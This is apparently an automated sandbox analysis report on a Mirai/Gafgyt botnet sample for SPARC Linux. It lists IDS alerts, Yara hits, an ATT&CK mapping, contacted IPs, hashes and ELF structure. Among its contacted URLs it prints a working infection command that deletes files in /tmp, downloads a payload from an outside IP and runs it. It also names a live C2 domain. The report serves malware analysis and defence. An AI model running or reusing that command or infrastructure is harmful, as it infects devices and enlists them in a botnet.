Source: unknown	Network traffic detected: HTTP traffic on port 33344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48442 -> 37215

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6229)

Queries kernel information via 'uname':

Jump to behavior

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6229.1.00005627131e5000.000056271326a000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6233.1.00005627131e5000.000056271326a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6229.1.00007fff96677000.00007fff96698000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6233.1.00007fff96677000.00007fff96698000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6229.1.00005627131e5000.000056271326a000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6233.1.00005627131e5000.000056271326a000.rw-.sdmp	Binary or memory string: 'V!/etc/qemu-binfmt/sparc
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6229.1.00007fff96677000.00007fff96698000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6233.1.00007fff96677000.00007fff96698000.rw-.sdmp	Binary or memory string: ZMx86_64/usr/bin/qemu-sparc/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6229, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6233, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6229, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6233, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	63%	Virustotal		Browse
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	71%	ReversingLabs	Linux.Trojan.Mirai
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://212.227.63.113/bin	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+212.227.63.113/jaws;sh+/tmp/jaws	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plutoc2.site	212.227.63.113	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+212.227.63.113/jaws;sh+/tmp/jaws	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://212.227.63.113/bin	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
42.152.254.69	unknown	Malaysia	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
123.148.206.34	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
37.127.4.121	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
41.224.152.230	unknown	Tunisia	37492	ORANGE-TN	false
156.178.161.241	unknown	Egypt	36992	ETISALAT-MISREG	false
38.13.12.164	unknown	United States	174	COGENT-174US	false
170.95.153.46	unknown	unknown	21852	DISNW1US	false
213.133.186.2	unknown	Ukraine	13249	ITS-UAITSystemsLLCUA	false
118.2.76.6	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
109.70.39.177	unknown	Spain	16371	ACENS_ASSpainHostinghousingandVPNservicesES	false
123.25.106.148	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
197.234.167.186	unknown	South Africa	37315	CipherWaveZA	false
47.63.195.196	unknown	United States	12430	VODAFONE_ESES	false
25.169.94.104	unknown	United Kingdom	7922	COMCAST-7922US	false
165.173.11.28	unknown	Singapore	2381	WISCNET1-ASUS	false
206.117.11.94	unknown	United States	226	LOS-NETTOS-ASUS	false
123.88.124.248	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
123.114.205.171	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
162.140.66.64	unknown	United States	3705	GPO-NETUS	false
41.87.73.234	unknown	Nigeria	37248	PHASE3TELNG	false
68.207.70.118	unknown	United States	11427	TWC-11427-TEXASUS	false
14.29.123.15	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
104.120.124.62	unknown	United States	16625	AKAMAI-ASUS	false
156.56.100.78	unknown	United States	87	INDIANA-ASUS	false
1.66.247.102	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
211.99.213.141	unknown	China	4835	CHINANET-IDC-SNChinaTelecomGroupCN	false
79.232.41.147	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
212.237.61.63	unknown	Italy	31034	ARUBA-ASNIT	false
41.45.223.123	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.2.68.189	unknown	South Africa	29975	VODACOM-ZA	false
185.249.100.213	unknown	Bulgaria	39184	ULTRANET-ASBG	false
116.8.107.52	unknown	China	137693	CHINATELECOM-GUANGXI-NANNING-IDCCHINATELECOMGuangxiNannin	false
41.195.197.59	unknown	South Africa	16637	MTNNS-ASZA	false
88.11.185.111	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
156.7.73.23	unknown	United States	29975	VODACOM-ZA	false
84.85.70.242	unknown	Netherlands	1136	KPNKPNNationalEU	false
161.2.40.156	unknown	United Kingdom	15914	BritishAirwaysGB	false
76.160.56.247	unknown	United States	7029	WINDSTREAMUS	false
185.100.7.117	unknown	France	35393	EURO-WEB-ASFR	false
42.250.174.212	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
109.32.196.208	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
197.179.229.50	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.157.30.86	unknown	South Africa	37168	CELL-CZA	false
202.146.173.36	unknown	China	24212	JASNET-AS-IDPTJASNITATELEKOMINDOID	false
38.10.253.126	unknown	United States	174	COGENT-174US	false
44.154.60.243	unknown	United States	62383	LDS-ASBE	false
77.247.117.63	unknown	Lithuania	48095	XTGLOBALRO	false
94.134.37.85	unknown	Germany	8881	VERSATELDE	false
41.227.233.237	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
197.216.246.204	unknown	Angola	11259	ANGOLATELECOMAO	false
155.25.247.215	unknown	United States	1556	DNIC-ASBLK-01550-01601US	false
210.186.205.153	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
109.195.32.61	unknown	Russian Federation	50512	BARNAUL-ASRU	false
115.45.227.98	unknown	China	17962	TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN	false
41.122.47.150	unknown	South Africa	16637	MTNNS-ASZA	false
201.150.1.184	unknown	Mexico	28539	CreatividadInternetEnlacesSAdeCVMX	false
41.215.4.18	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
197.103.64.248	unknown	South Africa	3741	ISZA	false
156.196.170.161	unknown	Egypt	8452	TE-ASTE-ASEG	false
117.90.184.11	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
109.161.179.92	unknown	Bahrain	31452	ZAIN-BH-ASBH	false
210.139.227.211	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
41.239.218.32	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.175.223.205	unknown	South Africa	37168	CELL-CZA	false
156.80.19.67	unknown	United States	393649	BOOZ-AS2US	false
129.55.35.119	unknown	United States	63	LL-MIUS	false
14.98.12.244	unknown	India	45820	TTSL-MEISISPTataTeleservicesISPASIN	false
208.120.120.243	unknown	United States	12271	TWC-12271-NYCUS	false
197.240.45.187	unknown	unknown	37705	TOPNETTN	false
202.25.5.171	unknown	Japan	136518	WA-GOVERNMENT-AS-APWAGovernmentprojectAU	false
103.183.119.78	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
45.197.161.40	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
5.182.223.255	unknown	United Kingdom	21396	NETCONNEXNetConnexBroadbandLtdGB	false
197.89.172.73	unknown	South Africa	10474	OPTINETZA	false
156.235.45.132	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
88.228.219.210	unknown	Turkey	9121	TTNETTR	false
42.204.1.109	unknown	China	7641	CHINABTNChinaBroadcastingTVNetCN	false
41.42.142.186	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.123.112.58	unknown	Egypt	36992	ETISALAT-MISREG	false
17.88.236.26	unknown	United States	714	APPLE-ENGINEERINGUS	false
5.51.240.11	unknown	France	5410	BOUYGTEL-ISPFR	false
151.39.20.211	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
150.158.255.197	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
79.21.137.169	unknown	Italy	3269	ASN-IBSNAZIT	false
197.181.96.200	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
187.165.240.148	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	false
118.148.62.99	unknown	New Zealand	38793	NZCOMMS-AS-APTwoDegreesMobileLimitedNZ	false
156.110.146.115	unknown	United States	16922	OUHSC-EDUUS	false
31.61.47.43	unknown	Poland	5617	TPNETPL	false
123.153.204.107	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
2.181.161.146	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
117.209.201.112	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
77.148.245.100	unknown	France	15557	LDCOMNETFR	false
41.134.159.155	unknown	South Africa	10474	OPTINETZA	false
197.40.144.164	unknown	Egypt	8452	TE-ASTE-ASEG	false
95.110.130.117	unknown	Italy	31034	ARUBA-ASNIT	false
4.251.198.191	unknown	United States	3356	LEVEL3US	false
210.42.148.45	unknown	China	24358	CNGI-WH-IX-AS-APCERNET2IXatHuazhongUniversityofScienc	false
24.246.58.78	unknown	Canada	5645	TEKSAVVYCA	false
41.239.14.22	unknown	Egypt	8452	TE-ASTE-ASEG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
42.152.254.69	SecuriteInfo.com.Linux.DDoS.537.30571.10119	Get hash	malicious	Unknown	Browse
37.127.4.121	Tropical.x86-20220201-2300	Get hash	malicious	Mirai	Browse
41.224.152.230	AjcelsaqC6.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	xUpRBKliT8	Get hash	malicious	Mirai	Browse
	8UoSNa8TSm	Get hash	malicious	Mirai	Browse
156.178.161.241	a4.elf	Get hash	malicious	Mirai	Browse
156.178.161.241	ircxeF7x13	Get hash	malicious	Mirai	Browse
38.13.12.164	x86.elf	Get hash	malicious	Unknown	Browse
38.13.12.164	sora.x86	Get hash	malicious	Mirai	Browse
123.25.106.148	na.elf	Get hash	malicious	Gafgyt	Browse
197.234.167.186	gt4t3NAdEr.elf	Get hash	malicious	Mirai	Browse
	Pkywr6thZb.elf	Get hash	malicious	Mirai	Browse
	XP3V62wHRH.elf	Get hash	malicious	Mirai	Browse
	bk.arm4-20220929-1806.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plutoc2.site	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.227.63.113
	9zldYT23H2.elf	Get hash	malicious	Mirai, Gafgyt	Browse	92.249.48.84
	JJLOVjVrYv.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	VDRitLeYgi.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	92.249.48.84
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.248.138.112
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	92.249.48.84
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	104.248.138.112
	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.248.138.112

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
JTCL-JP-ASJupiterTelecommunicationCoLtdJP	xd.mips.elf	Get hash	malicious	Mirai	Browse	210.194.5.32
	telnet.sh4.elf	Get hash	malicious	Unknown	Browse	42.152.119.133
	armv4l.elf	Get hash	malicious	Mirai	Browse	59.166.79.32
	armv5l.elf	Get hash	malicious	Mirai	Browse	110.130.53.165
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	124.140.145.0
	armv6l.elf	Get hash	malicious	Unknown	Browse	119.174.245.99
	nabarm.elf	Get hash	malicious	Unknown	Browse	42.148.126.51
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	60.60.179.185
	star.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	61.21.237.104
	hmips.elf	Get hash	malicious	Mirai	Browse	60.61.209.132
MOBILY-ASEtihadEtisalatCompanyMobilySA	http://auth-owlting.com	Get hash	malicious	Unknown	Browse	91.212.166.21
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	37.125.23.93
	armv6l.elf	Get hash	malicious	Unknown	Browse	37.125.72.45
	jklspc.elf	Get hash	malicious	Unknown	Browse	176.224.224.190
	ppc.elf	Get hash	malicious	Unknown	Browse	5.108.208.248
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	157.240.171.227
	nabmips.elf	Get hash	malicious	Unknown	Browse	178.73.86.115
	arm7.elf	Get hash	malicious	Unknown	Browse	5.110.113.146
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	176.224.147.76
	nshmips.elf	Get hash	malicious	Mirai	Browse	176.19.203.160
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	42.179.207.55
	xd.mips.elf	Get hash	malicious	Mirai	Browse	39.92.2.44
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	61.52.145.18
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	119.180.64.194
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	58.23.167.66
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	116.130.128.52
	telnet.arm.elf	Get hash	malicious	Unknown	Browse	61.167.78.29
	telnet.sh4.elf	Get hash	malicious	Unknown	Browse	110.247.229.148
	armv7l.elf	Get hash	malicious	Mirai	Browse	119.109.142.184
	armv4l.elf	Get hash	malicious	Mirai	Browse	171.35.27.26
ORANGE-TN	armv4l.elf	Get hash	malicious	Mirai	Browse	197.31.169.123
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	160.158.107.60
	armv5l.elf	Get hash	malicious	Unknown	Browse	196.227.197.176
	nabmips.elf	Get hash	malicious	Unknown	Browse	165.51.242.82
	jklx86.elf	Get hash	malicious	Unknown	Browse	160.157.55.165
	2.elf	Get hash	malicious	Unknown	Browse	197.30.41.144
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	197.25.111.116
	2.elf	Get hash	malicious	Unknown	Browse	197.29.99.169
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	196.228.171.177
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	165.51.231.8

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.208396350871434
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	db0fa4b8db0333367e9bda3ab68b8042.spc.elf
File size:	85'768 bytes
MD5:	dedb9e1518fd3b98fe94d3ce54be848e
SHA1:	a2f73703b213b4dc79b361ba6b2736c9a99f6c01
SHA256:	c38f354c0190f888cdc861b45130b87421009309c256ec76c4fbdc2a57f84d99
SHA512:	25cf12ad698c7b794a98a5ab0044822d162bd8edae69f5ad583d2524f31ca3fc7ea999a328833f1e1be4d94a51424e7a817bace36bb09c788521999afdde50e6
SSDEEP:	1536:EVvZWL9SciDY+rsCMeJ3WT6vK85El4HbEXNIwcEobJ:ov1jyhevUl4HbicX
TLSH:	D0835A25B93A2E17C1E4A0BB02B78315B2E5274E24B4C75DBD720E4EFF18690246797A
File Content Preview:	.ELF...........................4..Mx.....4. ...(......................J...J...............J...J...J....l............dt.Q................................@..(....@.K.................#.....a8..`.....!....."...@.....".........`......$"..."...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	85368
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x12fa4	0x0	0x6	AX	4
.fini	PROGBITS	0x23054	0x13054	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x23068	0x13068	0x1a60	0x0	0x2	A	8
.ctors	PROGBITS	0x34acc	0x14acc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x34ad4	0x14ad4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x34ae0	0x14ae0	0x258	0x0	0x3	WA	8
.bss	NOBITS	0x34d38	0x14d38	0x4a8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x14d38	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x14ac8	0x14ac8	6.2284	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14acc	0x34acc	0x34acc	0x26c	0x714	2.9264	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T05:02:50.935113+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57928	212.42.196.121	443	TCP
